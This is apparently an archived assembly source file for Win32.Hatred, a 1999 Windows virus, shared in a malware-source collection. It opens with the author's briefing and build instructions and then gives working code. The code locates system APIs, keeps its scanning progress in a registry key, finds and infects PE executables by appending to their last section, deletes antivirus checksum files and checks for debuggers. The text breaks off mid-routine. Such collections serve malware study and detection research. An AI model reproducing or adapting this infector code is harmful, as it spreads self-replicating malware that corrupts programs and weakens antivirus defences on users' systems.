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vxug-MalwareSourceCode/Win32/Win32.Hatred.asm
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comment $
????????????????????????????????????????????????????????????????????????????
Win32.Hatred
V.1.0
????????????????????????????????????????????????????????????????????????????
by Lord Julus
????????????????????????????????????????????????????????????????????????????
April 1999
????????????????????????????????????????????????????????????????????????????
Hello everybody and welcome to the source code of my new virus.
==============================================================
Briefing
===============================================================
Virus Name - Win32.Hatred
Virus Author - Lord Julus
Version - V.1.0
Release Date - 25 April 1999
Platform - Win32, Win95/98, WinNT
Type - Parasitic PE infector, directory scanning
Infects - Win32 Portable Exe files (.EXE, .SCR)
Encrypted - Yes
Polymorphic - Yes (Uses an enhanced version of MOF32)
Retrovirus - Yes
Anti-debugging - Yes
Payload - Graphical (Message box and screen fade out
with pixel blackout; can be stopped by ESC)
===============================================================
This virus works kinda like this way:
When the virus starts, first it locates the following win32 module
bases:
Kernel32.dll
Advapi32.dll
User32.dll
Gdi32.dll
and their corresponding API function addresses. If this goal is
achieved without any errors, the virus checks the system out and makes out
an array containing all drive names that are fixed disks, like this:
"c:\", "d:\", ..., 0FFh
This list will be used in infection later.
After that, the virus checks the registry for this key:
"HKEY_CURRENT_USER\Control Panel\Cursors"
If it can be opened then the following name is queried:
"dertaH"
If the value can be retrieved, it is decrypted with a simple XOR
algorithm and then it is checked to see if it is really a valid path on
the hard disk.
If the value cannot be retrieved, or the value retrieved is not a
valid path on the HDD, then the virus initializes the key name with a
value equal to the first entry in the drives list ("C:\", for ex.).
After this is done, the scanning procedure is started. The scanning
procedure starts scanning from the root of the matching drive (the drive
that was retrieved from the registry) and goes all the way until it finds
out the directory specified in the registry (if the virus runs for the
first time, the first directory will be the root itself). From that
directory on, the virus scans the harddisk for PE files, trying to locate
5 PE files. If the 5 PE files are not found on one HDD or on one
partition, the scanning goes on with the next partition or hdd, as they
are found in the drives list. If the search reaches the end of drives
list, but still 5 PE files were not found, this means that all harddisk
drives and all partition tables were checked once and all PE files on the
entire system are infected. So, the virus resets it's first path to the
first root, and the scanning process starts from the beginning. To
prevent a big system slowdown only 90 directories are checked at a time.
In this way, as I tested the scanning procedures many times, basically no
slowdown is notticed. Still, all drives and partitions are scanned and
infected.
Once 5 files were found, or more than 90 directories were checked,
the virus goes back into the registry and marks there the last directory
that was checked. This will be used the next time the virus starts as the
starting point for the scanning.
In the beginning, if the key inside the registry is not found, a
direct attack procedure is started which searches and infects the
following files:
CDPLAYER.EXE
CALC.EXE
PBRUSH.EXE
MPLAYER.EXE
NOTEPAD.EXE
WINHLP32.EXE
The appending method is the last section increase. The virus
attaches itself to last section's RVA plus it's virtual size and sets the
file entrypoint to itself. After finishing all the work, the virus returns
the control to the host restoring all registers, stack and SEH handlers.
Each time one directory is checked for PE files, all antivirus
checksum files found in that directory get erased. The virus avoids to
infect files with certain names (AV file names)
The PE files are marked as infected like this:
Win32VersionValue is set to 'H8'
This virus includes a slighty modified version of the MOF32 poly
engine and from my calculation only 4 bytes stay unencrypted in the victim
file, which is pretty cool...
For the Anti-debugging I have used some apis that notifies the
presence of a debugger and the file is automatically closed. I tried this
using the debugger in Visual C++ and it works. Should crash many code
emulators which rely on the use of win32 debugging methods.
This is far the best virus I wrote so far, probably due to the poly
engine and the way it is spreading, and it has the highest possibility of
spreading, being very infectious. I guess probably this will be my last
win32 directory scanning virus and my next code will be a resident win32
virus.
Farewell,
???????????????????????????
? Lord Julus - 1999 ?
???????????????????????????
====== ======= ======
======= With Heart feel Hatred!!! ======
====== Black blood runs through my veins!! ======
====== Hatred!!! Hatred!!! =====
======== =======
===========
(ManOwaR)
Assemble with: TASM32 -ml -m hatred.asm
TLINK32 -Tpe -aa -c hatred,,,import32.lib
PEWRSEC hatred.exe
$
; [ EQUATES ]
;
; The following equates are crucial for the way this code gets compiled.
; You must be warned that changing any of these values might make this
; code act diferently. You modify them at your own will.
;
; To simply test the directory search capability set the value TESTONLY
; to TRUE and look in the registry (no files are searched)
;
; To only have infection on files like GOAT* set the value DEBUG to TRUE
;
; To test the payload of this virus set DEBUG and TESTONLY to TRUE and set
; the date to day 07.
TRUE EQU 1 ;
FALSE EQU 0 ;
DEBUG EQU TRUE ; If TRUE only GOAT* files are searched
TESTONLY EQU FALSE ; If True only dir. scan and reg. update
RETRO EQU TRUE ; kill av files?
.386p ; needed stuff
.model flat, stdcall ;
jumps ;
;
extrn MessageBoxA: proc ;
extrn ExitProcess: proc ; externals
extrn GetModuleHandleA:proc ;
extrn GetProcAddress:proc ;
;
.data ;
db 0 ;
;
.code ;
;
start: ;
pushad ; save all
;
jump_code: ;
jmp decrypt ; call poly decryptor
;
realstart: ;
start_of_code: ;
nop ;
nop ;
popad ;
pushad ;
call getdelta ; get delta handle
;
getdelta: ;
pop ebp ;
sub ebp, offset getdelta ;
mov [ebp+delta], ebp ; save delta for later
;-----------------------------------------------;
lea eax, [ebp+ExceptionExit] ; Setup a SEH frame
push eax ;
push dword ptr fs:[0] ;
mov fs:[0], esp ;
;-----------------------------------------------;
mov eax, [esp+28h] ; first let's locate the
lea edx, [ebp+kernel32_name] ; kernel32 base address
call LocateKernel32 ;
jc ReturnToHost ;
mov dword ptr [ebp+k32], eax ; save it...
;-----------------------------------------------;
lea edx, dword ptr [ebp+getprocaddress] ; then let's locate
call LocateGetProcAddress ; GetProcAddress
jc ReturnToHost ;
;-----------------------------------------------;
mov ebx, eax ; now let's locate all
mov eax, dword ptr [ebp+k32] ; the K32 apis we need
lea edi, dword ptr [ebp+k32_API_names] ; furthure...
lea esi, dword ptr [ebp+k32_API_addrs] ;
call LocateApiAddresses ;
jc ReturnToHost ;
;-----------------------------------------------;
lea edi, dword ptr [ebp+user32_name] ; Locate USER32
call LocateModuleBase ; module base
jc ReturnToHost ;
;-----------------------------------------------;
lea edi, dword ptr [ebp+u32_API_names] ; and the corresp.
lea esi, dword ptr [ebp+u32_API_addrs] ; API addresses
call LocateApiAddresses ;
jc ReturnToHost ;
;-----------------------------------------------;
IF DEBUG ; Anti-debugging !!
ELSE ;
call [ebp+_IsDebuggerPresent] ; Let's check if our
or eax, eax ; process is being
jne shut_down ; debugged.
jmp continue_process ;
;
shut_down: ;
push 0 ; If so, close down!!
push 02h or 04h or 08h or 10h ; this doesn't really
call [ebp+_ExitWindowsEx] ; close Windoze...
ENDIF ;
;----------------------------------------------;
continue_process: ;
lea edi, dword ptr [ebp+advapi32_name] ; Locate the ADVAPI32
call LocateModuleBase ; module base
jc ReturnToHost ;
;-----------------------------------------------;
lea edi, dword ptr [ebp+a32_API_names] ; and the corresp.
lea esi, dword ptr [ebp+a32_API_addrs] ; API addresses
call LocateApiAddresses ;
jc ReturnToHost ;
;-----------------------------------------------;
lea edi, dword ptr [ebp+gdi32_name] ; Locate GDI32
call LocateModuleBase ; module base
jc ReturnToHost ;
;-----------------------------------------------;
lea edi, dword ptr [ebp+g32_API_names] ; and the corresp.
lea esi, dword ptr [ebp+g32_API_addrs] ; API addresses
call LocateApiAddresses ;
jc ReturnToHost ;
;-----------------------------------------------;
call CheckSystem ; retrive HDD names
;-----------------------------------------------;
lea eax, [ebp+curdir] ; save the current dir
push eax ;
push 260 ;
call [ebp+_GetCurrentDirectoryA] ;
;-----------------------------------------------;
call SetInitialKey ; Edi will point to the
;-----------------------------------------------; last directory checked.
lea eax, dword ptr [ebp+system_paths] ; If the key didn't exist
scan_current_path: ; it gets created. Then
mov bl, byte ptr [eax] ; we make eax to point to
cmp bl, byte ptr [edi] ; the right drive letter
je ok_go ; in the system paths
add eax, 4 ;
cmp byte ptr [eax], 0FFh ;
je ReturnToHost ;
jmp scan_current_path ;
ok_go: ;
;-----------------------------------------------;
call LocateNextDirectory ; and then we search...
;-----------------------------------------------;
call SetSubsequentKey ; set the new key
;-----------------------------------------------;
lea eax, [ebp+curdir] ; restore the current dir
push eax ;
call [ebp+_SetCurrentDirectoryA] ;
;-----------------------------------------------;
call Payload ;
;-----------------------------------------------;
jmp ReturnToHost ; return to host
;-----------------------------------------------;
;??????????????????????????????????????????????????????????????????????????
;? Locate Kernel32 base address ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EAX = dword on stack at startup
; EDX = pointer to kernel32 name
;
; Return: EAX = base address of kernel32 if success
; EAX = 0, CF set if fail
LocateKernel32 proc near
pushad ; save all registers
lea ebx, dword ptr [ebp+try_method_2_error] ; first set up a seh
push ebx ; frame so that if our
push dword ptr fs:[0] ; first method crashes
mov fs:[0], esp ; we will find ourselves
; in the second method
locateloop: ;
cmp dword ptr [eax+0b4h], eax ; first method looks for
je found_k32_kill_seh ; the k32 by checking for
dec eax ; the equal dword at 0b4
cmp eax, 40000000h ;
jbe try_method_2 ;
jmp locateloop ;
;
found_k32_kill_seh: ; if we found it, then we
pop dword ptr fs:[0] ; must destroy the temp
add esp, 4 ; seh frame
mov dr0, eax ; save k32 base in DR0
jmp found_k32 ;
;
try_method_2_error: ; if the first method gave
mov esp, [esp+8] ; and exception error we
; must restore the stack
try_method_2: ;
pop dword ptr fs:[0] ; restore the seh state
add esp, 4 ;
popad ; restore registers and
pushad ; save them again
; and go on w/ method two
mov ebx, dword ptr [ebp+imagebase] ; now put imagebase in ebx
mov esi, ebx ;
cmp word ptr [esi], 'ZM' ; check if it is an EXE
jne notfound_k32 ;
mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE
cmp esi, 1000h ; too far away?
jae notfound_k32 ;
add esi, ebx ;
cmp word ptr [esi], 'EP' ; is it a PE?
jne notfound_k32 ;
add esi, IMAGE_FILE_HEADER_SIZE ; skip header
mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
add edi, ebx ; and get import RVA
mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
add ecx, edi ; and import size
mov eax, edi ; save RVA
;
locateloop2: ;
mov edi, dword ptr [edi.ID_Name] ; get the name
add edi, ebx ;
cmp dword ptr [edi], 'NREK' ; and compare to KERN
je found_the_kernel_import ; if it is not that one
add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE ; skip to the next desc.
mov edi, eax ;
cmp edi, ecx ; but not beyond the size
jae notfound_k32 ; of the descriptor
jmp locateloop2 ;
;
found_the_kernel_import: ; if we found the kernel
mov edi, eax ; import descriptor
mov esi, dword ptr [edi.ID_FirstThunk] ; take the pointer to
add esi, ebx ; addresses
mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
add edi, ebx ; names
;
gha_locate_loop: ;
push edi ; save pointer to names
mov edi, dword ptr [edi.TD_AddressOfData] ; go to the actual thunk
add edi, ebx ;
add edi, 2 ; and skip the hint
;
push edi esi ; save these
lea esi, dword ptr [ebp+getmodulehandle] ; and point the name of
mov ecx, getmodulehandlelen ; GetModuleHandleA
rep cmpsb ; see if it is that one
je found_getmodulehandle ; if so...
pop esi edi ; otherwise restore
;
pop edi ; restore arrays indexes
add edi, 4 ; and skip to next
add esi, 4 ;
cmp dword ptr [esi], 0 ; 0? -> end of import
je notfound_k32 ;
jmp gha_locate_loop ;
;
found_getmodulehandle: ;
pop esi ; restore stack
pop edi ;
pop edi ;
;
push edx ; push kernel32 name
mov esi, [esi] ; esi = GetModuleHandleA
call esi ; address...
mov dr0, eax ; DR0 holds k32 base!!
or eax, eax ;
jz notfound_k32 ;
;
found_k32: ;
popad ; restore all regs and
mov eax, dr0 ; put k32 in EAX
clc ; and mark success
ret ;
;
notfound_k32: ;
popad ; restore all regs
xor eax, eax ; and mark the failure...
stc ;
ret ;
LocateKernel32 endp ;
;??????????????????????????????????????????????????????????????????????????
;? Locate GetProcAddress ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EAX = base of kernel32
; EDX = pointer to GetProcAddress name
;
; Return: EAX = address of GetProcAddress if success
; EAX = 0, CF set if fail
LocateGetProcAddress proc near ;
pushad ;
mov ebx, eax ; save the kernel base
mov edi, eax ;
cmp word ptr [edi], 'ZM' ; is it an exe?
jne notfoundgpa ;
;
mov edi, dword ptr [edi.MZ_lfanew] ;
cmp edi, 1000h ;
jae notfoundgpa ;
;
add edi, ebx ;
cmp word ptr [edi], 'EP' ; is it a PE?
jne notfoundgpa ;
;
add edi, IMAGE_FILE_HEADER_SIZE ; skip file header
;
mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
add edi, ebx ; and get export RVA
;
mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names
; to look into
mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names
add esi, ebx ; align to base rva
;
push edi ; save pointer to export
;
gpa_locate_loop: ;
mov edi, [esi] ; get one name address
add edi, ebx ; and align it
;
push ecx esi ; save counter and addr.
;
mov esi, edx ; compare to GetProcAddress
mov ecx, getprocaddresslen ;
rep cmpsb ;
je foundgpa ;
;
pop esi ecx ; restore them
;
add esi, 4 ; and get next name
loop gpa_locate_loop ;
;
notfoundgpa: ; we didn't find it...
pop edi ;
popad ;
xor eax, eax ; mark failure
stc ;
ret ;
;
foundgpa: ;
pop esi ecx ; ecx = how many did we
pop edi ; check from total, but
sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder
neg ecx ; of the search
mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
add eax, ebx ;
shl ecx, 1 ; and look using the index
add eax, ecx ;
xor ecx, ecx ;
mov cx, word ptr [eax] ; take the ordinal
mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
add eax, ebx ;
shl ecx, 2 ; we look in a dword array
add eax, ecx ; go to the function addr
mov eax, [eax] ; take it's address
add eax, ebx ; and align it to k32 base
mov dr0, eax ; save it in dr0
popad ; restore all regs
mov eax, dr0 ; and mark success
clc ;
ret ;
LocateGetProcAddress endp ;
;??????????????????????????????????????????????????????????????????????????
;? General module handle retriving routine ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EDI = pointer to module name
;
; Return: EAX = module base address if success
; EAX = 0, CF set if fail
LocateModuleBase proc near ;
pushad ; save regs
push edi ; push name
call dword ptr [ebp+_GetModuleHandleA] ; call GetModuleHandleA
mov dr0, eax ;
popad ;
mov eax, dr0 ;
or eax, eax ;
jz notfoundmodule ;
clc ; success
ret ;
;
notfoundmodule: ;
stc ; fail
ret ;
LocateModuleBase endp ;
;??????????????????????????????????????????????????????????????????????????
;? General API address retriving routine ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EAX = base address of the module
; EBX = address of GetProcAddress
; EDI = pointer to api names list (each item null terminated,
; list terminated with 0FFh)
; ESI = pointer to api addresses list
;
; Return: CF clear if success and list at ESI filled with API addresses
; CF set if fail
LocateApiAddresses proc near ;
pushad ; save all regs
mov edx, eax ; save module base
locate_apis_loop: ;
cmp byte ptr [edi], 0FFh ; is it the end?
je ready_apis ;
;
push edx ; save base
push edi ; push api name
push edx ; push module base
call ebx ; call GetProcAddress
pop edx ; restore module base
or eax, eax ; error?
je error_finding_apis ;
;
mov dword ptr [esi], eax ; save api address
;
mov ecx, 100h ; look for the next
mov al, 0 ; api name
repnz scasb ;
;
add esi, 4 ; increment array
jmp locate_apis_loop ;
;
ready_apis: ;
popad ; all ok!
clc ;
ret ;
;
error_finding_apis: ;
popad ; error here...
stc ;
ret ;
LocateApiAddresses endp ;
;??????????????????????????????????????????????????????????????????????????
;? Return to host or exit from generation 0 ?
;??????????????????????????????????????????????????????????????????????????
ReturnToHost proc near ;
jmp restore_seh ;
;
ExceptionExit: ; if we had an error we
mov esp, [esp+8] ; must restore the ESP
;
restore_seh: ;
pop dword ptr fs:[0] ; and restore the SEH
add esp, 4 ; returning to the host...
;
or ebp, ebp ; is it generation 0?
je generation0_exit ;
;
popad ;
;
push edi ; temporary save edi
db 0bfh ; put delta in edi
delta dd 0 ;
;
cmp edi, 0 ; first generation ?
je generation0_exit ;
mov eax, [edi+offset oldeip] ; restore old EIP
add eax, [edi+offset imagebase] ; align to memory
push eax ;
push ebx ;
lea ebx, [edi+offset jump] ; calculate the length of
sub eax, ebx ; the jump to the host
sub eax, 4 ;
mov dword ptr [edi+jump], eax ; and store the jump!
pop ebx ; restore the last regs...
pop eax ;
pop edi ;
;
db 0e9h ; this is JMP Original EIP
jump dd 0 ;
;
generation0_exit: ; exit from generation 0
push 0 ;
call ExitProcess ;
ReturnToHost endp ;
;??????????????????????????????????????????????????????????????????????????
;? Check the system routines ?
;??????????????????????????????????????????????????????????????????????????
CheckSystem proc near ;
pushad ; save regs
lea esi, [ebp+temp_path] ; start from "c:\"
lea edi, [ebp+system_paths] ;
;
retrive_drive_type: ;
push esi ;
call [ebp+_GetDriveTypeA] ; get drive type
;
cmp eax, 3 ; is it a fixed disk?
jne check_next_path ;
;
mov ecx, 4 ; save the name in the list
push esi ;
repnz movsb ;
pop esi ;
;
check_next_path: ;
inc byte ptr [esi] ; and go on until z:\
cmp byte ptr [esi], 'z' ;
je finished_paths_search ;
jmp retrive_drive_type ;
;
finished_paths_search: ;
mov al, 0FFh ; mark the end
stosb ;
popad ;
ret ;
CheckSystem endp ;
;
system_paths db 20 dup (0,0,0,0) ; drives table
temp_path db "c:\", 0 ; first path
allfiles db "*.*", 0 ; all files mask
dotdot db "..", 0 ; dot dot
comment %
;??????????????????????????????????????????????????????????????????????????
;? Allocate memory area ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: ECX = size of memory to allocate
;
; Return: EAX = new memory area address if succes
; EAX = 0, CF set if error
AllocateMemory proc near ;
push ecx ; push ammount of memo
push 040h ; fixed mem initialized
call [ebp+_GlobalAlloc] ; with 0
or eax, eax ;
je no_memory ;
;
clc ;
ret ;
;
no_memory: ;
stc ;
ret ;
AllocateMemory endp ;
;??????????????????????????????????????????????????????????????????????????
;? Free memory area ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EAX = memory area handle
;
; Return: nothing
FreeMemory proc near ;
push eax ; free the memory
call [ebp+_GlobalFree] ; handle
ret ;
FreeMemory endp ;
%
;??????????????????????????????????????????????????????????????????????????
;? Locate needed directories ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: EDI = pointer to the directory to start from
; EAX = pointer in the system paths
LocateNextDirectory proc near ;
pushad ; save regs
;
mov [ebp+signal], 0 ;
mov [ebp+files], 5 ; how many files ?
mov [ebp+scanneddirs], 90 ; how many directories ?
;
push eax ;
mov edi, eax ; start from...
;
parse_all_system: ;
cmp [ebp+signal], 1 ;
je no_more_handles ;
push edi ; set the current dir to the
call [ebp+_SetCurrentDirectoryA] ; root of the dir
xor ebx, ebx ; ebx will hold the entries in
; the depth
find_first_directory: ;
cmp [ebp+signal], 1 ;
je no_first_dir_found ;
lea edi, [ebp+searchrec] ; locate the first directory
push edi ;
lea eax, [ebp+allfiles] ;
push eax ;
call [ebp+_FindFirstFileA] ;
;
cmp eax, -1 ;
je no_first_dir_found ; if we didn't find any...
;
mov [ebp+handle], eax ; save the handle
;
check_attributes: ;
cmp dword ptr [edi.FileAttributes], 10h ; is it really a
jne find_next_directory ; directory?
;
lea eax, [edi.FileName] ; get directory name and be sure
cmp byte ptr [eax], '.' ; it isn't "." or ".."
je find_next_directory ;
;
push eax ; set it as the new current
call [ebp+_SetCurrentDirectoryA] ; directory
;
cmp [ebp+skip], 1 ; do we need to check the path?
je locate_files ;
;
pushad ; if so, then first get the current
lea eax, [ebp+offset tempdir] ; directory and...
push eax ;
push 260 ;
call [ebp+_GetCurrentDirectoryA] ;
lea edi, [ebp+offset tempdir] ;
lea esi, [ebp+key_data] ; ...compare it with the one saved
mov eax, esi ; in the registry...
push eax ;
call [ebp+_lstrlen] ;
mov ecx, eax ;
rep cmpsb ; if they are equal, we start over
jne not_found_our_dir ; from there...
popad ;
jmp locate_files ;
;
not_found_our_dir: ;
popad ;
jmp still_go ;
;
locate_files: ;
mov [ebp+skip], 1 ;
;
IF TESTONLY ;
ELSE ;
call LocateFilesInDirectory ; ...
ENDIF ;
;
dec [ebp+scanneddirs] ; do not scan more than 90 dirs.
jnz still_ok ; If HDD is completely infected the
; process would slow too much...
mov [ebp+signal], 1 ;
;
still_ok: ;
cmp [ebp+files], 0 ;
jne still_go ;
;
mov [ebp+signal], 1 ;
;
still_go: ;
push dword ptr [ebp+handle] ; push the handle
inc ebx ; increment pushed handles number
jmp find_first_directory ; and search again
;
find_next_directory: ;
cmp [ebp+signal], 1 ;
je no_next_dir_found ;
push edi ; let's find the next directory
push dword ptr [ebp+handle] ;
call [ebp+_FindNextFileA] ;
;
test eax, eax ;
jz no_next_dir_found ; if no next dir...
;
jmp check_attributes ; otherwise check...
;
no_first_dir_found: ; if no new dir was found in where
cmp [ebp+signal], 1 ;
je don_t_change ;
lea eax, [ebp+dotdot] ; we are let's go back one dir
push eax ; changing to '..'
call [ebp+_SetCurrentDirectoryA] ;
;
don_t_change: ;
or ebx, ebx ; do we have any saved find
jz no_more_handles ; handles?
;
dec ebx ; if we do decrement and pop one
pop dword ptr [ebp+handle] ; of the stack...
jmp find_next_directory ; and let's find one more...
;
no_next_dir_found: ; if no next dir was found, let's
cmp [ebp+signal], 1 ;
je no_first_dir_found ;
push dword ptr [ebp+handle] ; close the find handle
call [ebp+_FindClose] ;
jmp no_first_dir_found ;
;
no_more_handles: ; when all handles are closed in
pop eax ; the current drive let's try
add eax, 4 ; the next one...
push eax ;
mov edi, eax ;
cmp byte ptr [eax], 0FFh ; 0ffh marks the end...
jne parse_all_system ;
;
cmp [ebp+scanneddirs], 0 ;
je quit_this ;
;
cmp [ebp+files], 0 ; if we didn't find all the files
je quit_this ; during our search
lea eax, [ebp+system_paths] ; then we must reset ourselves
push eax ;
call [ebp+_SetCurrentDirectoryA] ;
;
quit_this: ;
pop eax ; restore all and go away...
popad ;
ret ;
LocateNextDirectory endp ;
;
LocateFilesInDirectory proc near ;
pushad ;
;
lea ebx, [ebp+filemasks] ; point the filemasks
push ebx ;
;
try_next_ext: ;
cmp [ebp+files], 0 ;
je no_files ;
lea eax, [ebp+offset searchfiles] ;
push eax ;
push ebx ;
call [ebp+_FindFirstFileA] ; search first matching file
;
cmp eax, -1 ;
je no_files ;
;
mov [ebp+searchhandle], eax ; save it's handle
;
test_file: ;
lea edi, [ebp+searchfiles] ;
cmp dword ptr [edi.FileAttributes], 10h ; skip directories
je next_file ;
;
lea esi, [edi.FileName] ; point the name
;
call ValidateFile ; can we infect it?
jc next_file ;
;
call OpenFile ; open the file!!
;
next_file: ;
cmp [ebp+files], 0 ;
je no_files ;
lea eax, [ebp+searchfiles] ;
push eax ; search the next file
mov eax, [ebp+searchhandle] ;
push eax ;
call [ebp+_FindNextFileA] ;
;
test eax, eax ;
jz no_files ;
jmp test_file ;
;
no_files: ;
mov eax, [ebp+searchhandle] ;
push eax ;
call [ebp+_FindClose] ; close the search handle
;
IF RETRO ;
call EraseChecksums ; kill av files?
ENDIF ;
;
pop ebx ; locate the next extension
mov edi, ebx ; in the list
mov ecx, 100 ;
mov al, 0 ;
repnz scasb ;
mov ebx, edi ;
cmp byte ptr [ebx], 0FFh ;
je no_more ;
push ebx ;
jmp try_next_ext ; and try again...
;
no_more: ;
popad ;
ret ;
LocateFilesInDirectory endp ;
;??????????????????????????????????????????????????????????????????????????
;? Open the file ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: ESI = pointer to the file name
;
OpenFile proc near
pushad ; save registers
mov [ebp+fileofs], esi ; save file name offset
push esi ; save it
call [ebp+_GetFileAttributes] ; Get the file attributes
or eax, eax ;
jz error1 ;
mov [ebp+fileattributes], eax ; save them
;
error1: ;
push 80h ;
push esi ;
call [ebp+_SetFileAttributes] ; set them as normal
;
push 0 ; and open the file
push 0 ;
push 3 ;
push 0 ;
push 1 ;
push 80000000h or 40000000h ;
push esi ;
call [ebp+_CreateFileA] ;
;
cmp eax, -1 ; error?
je next_file_exit ;
;
mov [ebp+handle1], eax ; save it's handle
;
lea ebx, [ebp+offset FileTime] ; now save the file time
push ebx ;
add ebx, 8 ;
push ebx ;
add ebx, 8 ;
push ebx ;
push eax ;
call [ebp+_GetFileTime] ;
;
push 0 ; get file size
mov eax, [ebp+handle1] ;
push eax ;
call [ebp+_GetFileSize] ;
;
mov [ebp+filesize], eax ; save the filesize and calculate
add eax, virussize+500h ; ammount of memory needed
;
push 0 ; and create a file mapping
push eax ;
push 0 ;
push 4 ;
push 0 ;
mov eax, [ebp+handle1] ;
push eax ;
call [ebp+_CreateFileMappingA] ;
;
cmp eax, 0 ;
je close_file ;
;
mov [ebp+maphandle], eax ; save map handle
;
mov eax, [ebp+filesize] ;
add eax, virussize+500h ;
push eax ; map the file!!
push 0 ;
push 0 ;
push 2 ;
mov eax, [ebp+maphandle] ;
push eax; ;
call [ebp+_MapViewOfFile] ;
;
cmp eax, 0 ;
je close_map ;
;
mov esi, eax ;
mov [ebp+mapaddress], esi ; save map address
;
cmp word ptr [esi], 'ZM' ; is it a MZ EXE file?
jne unmap_view ;
mov esi, dword ptr [esi.MZ_lfanew] ; get PE header offset
cmp esi, 1000h ; too far?
ja unmap_view ;
add esi, [ebp+mapaddress] ; save map address
cmp word ptr [esi], 'EP' ; is it a PE file?
jne unmap_view ;
;
mov dword ptr [ebp+PEheader], esi ; save PE header place
add esi, IMAGE_FILE_HEADER_SIZE ; go to Optional header
;
cmp word ptr [esi.OH_Win32VersionValue], 'H8' ; already infected?
je unmap_view ;
;
call InfectFile ; infect, please!
jc don_t_mark ;
;
dec [ebp+files] ; decrease infected files
;
mov word ptr [esi.OH_Win32VersionValue], 'H8' ; mark infection
;
don_t_mark: ;
unmap_view: ;
mov eax, [ebp+mapaddress] ;
push eax ; unmap the view
call [ebp+_UnmapViewOfFile] ;
;
close_map: ;
mov eax, [ebp+maphandle] ;
push eax ; close the map
call [ebp+_CloseHandle] ;
;
close_file: ;
push 0 ; first we must set the file
push 0 ; pointer at the end of file
push dword ptr [ebp+offset filesize];
push dword ptr [ebp+offset handle1];
call [ebp+_SetFilePointer] ;
;
push dword ptr [ebp+offset handle1]; ...and then mark the end of
call [ebp+_SetEndOfFile] ; file...
;
lea ebx, [ebp+offset FileTime] ; restore the file time
push ebx ;
add ebx, 8 ;
push ebx ;
add ebx, 8 ;
push ebx ;
push dword ptr [ebp+offset handle1];
call dword ptr [ebp+_SetFileTime] ;
;
mov eax, [ebp+handle1] ;
push eax ; close the file...
call [ebp+_CloseHandle] ;
;
push dword ptr [ebp+offset fileattributes] ; restore the file attribs
push dword ptr [ebp+offset fileofs];
call [ebp+_SetFileAttributes] ;
;
next_file_exit: ;
popad ; restore registers and exit
ret ;
OpenFile endp ;
;??????????????????????????????????????????????????????????????????????????
;? Infect opened file ?
;??????????????????????????????????????????????????????????????????????????
;
; Entry: ESI = pointer to the file map
InfectFile proc near
pushad ;
mov eax, dword ptr [esi.OH_FileAlignment] ; save all the needed
mov dword ptr [ebp+filealign], eax ; values
mov eax, dword ptr [esi.OH_SectionAlignment] ;
mov dword ptr [ebp+sectionalign], eax ;
mov eax, dword ptr [esi.OH_AddressOfEntryPoint];
mov dword ptr [ebp+oldeip], eax ;
mov eax, dword ptr [esi.OH_ImageBase] ;
mov dword ptr [ebp+newimagebase], eax ;
;
mov ebx, dword ptr [esi.OH_NumberOfRvaAndSizes]; let us locate the
shl ebx, 3 ; last section
xor eax, eax ;
mov ax, word ptr [esi.NumberOfSections-IMAGE_FILE_HEADER_SIZE]
dec eax ;
mov ecx, IMAGE_SECTION_HEADER_SIZE ;
mul ecx ;
;
mov esi, dword ptr [ebp+PEheader] ; PE header offset +
add esi, IMAGE_FILE_HEADER_SIZE ; header length +
add esi, 60h ; optional header len +
add esi, ebx ; + data directory
add esi, eax ; + all sections
;
mov [ebp+lastsection], esi ; save last section addr
mov edi, dword ptr [esi.SH_PointerToRawData] ; get pointer to raw data
add edi, dword ptr [ebp+mapaddress] ; and align it to memory
add edi, dword ptr [esi.SH_VirtualSize] ; and then add virtual
mov [ebp+smth], edi ; size and save the value
;
pushad ; let us copy our virus
lea esi, dword ptr [ebp+start] ; there...
mov ecx, virussize ;
rep movsb ;
popad ;
;
add dword ptr [esi.SH_VirtualSize], virussize ; increase the sizes
add dword ptr [esi.SH_SizeOfRawData], virussize; (virtual and physical)
or dword ptr [esi.SH_Characteristics], 0C0000040h; make section R/W
;
mov eax, [esi.SH_SizeOfRawData] ; align SizeOfRawData
mov ecx, dword ptr [ebp+filealign] ; to the file
push eax ; alignment
push ecx ;
xor edx, edx ;
div ecx ;
pop ecx ;
sub ecx, edx ;
pop eax ;
add eax, ecx ;
mov dword ptr [esi.SH_SizeOfRawData], eax ; and store it
;
mov esi, dword ptr [ebp+PEheader] ;
mov eax, dword ptr [esi+50h] ; Get OldSizeOfImage
add eax, virussize ; increase it and then
mov ecx, dword ptr [ebp+sectionalign] ; align it to the section
push eax ; alignment
push ecx ;
xor edx, edx ;
div ecx ;
pop ecx ;
sub ecx, edx ;
pop eax ;
add eax, ecx ;
mov dword ptr [esi+50h], eax ;
;
mov edi, [ebp+lastsection] ; point last section
;
mov eax, [edi.SH_PointerToRawData] ; Pointer to raw data
add eax, [edi.SH_VirtualSize] ; plus last section size
mov [ebp+filesize], eax ; is the filesize. Align
mov ecx, dword ptr [ebp+filealign] ; it to the file
push eax ; alignment
push ecx ;
xor edx, edx ;
div ecx ;
pop ecx ;
sub ecx, edx ;
pop eax ;
add eax, ecx ;
mov dword ptr [ebp+filesize], eax ; and store it
;
mov eax, [edi.SH_VirtualAddress] ; let us locate the new
add eax, [edi.SH_VirtualSize] ; EIP...
sub eax, virussize ;
mov dword ptr [esi+28h], eax ; ...and store it!!
; we finished infecting the file. Now let us prepare to call the poly
; engine:
mov ebx, eax ; EBX = code to decrypt at
add ebx, [ebp+imagebase] ; runtime
add ebx, offset start_of_code-offset start ; (adjustment)
mov esi, dword ptr [ebp+smth] ; ESI = code to encrypt in
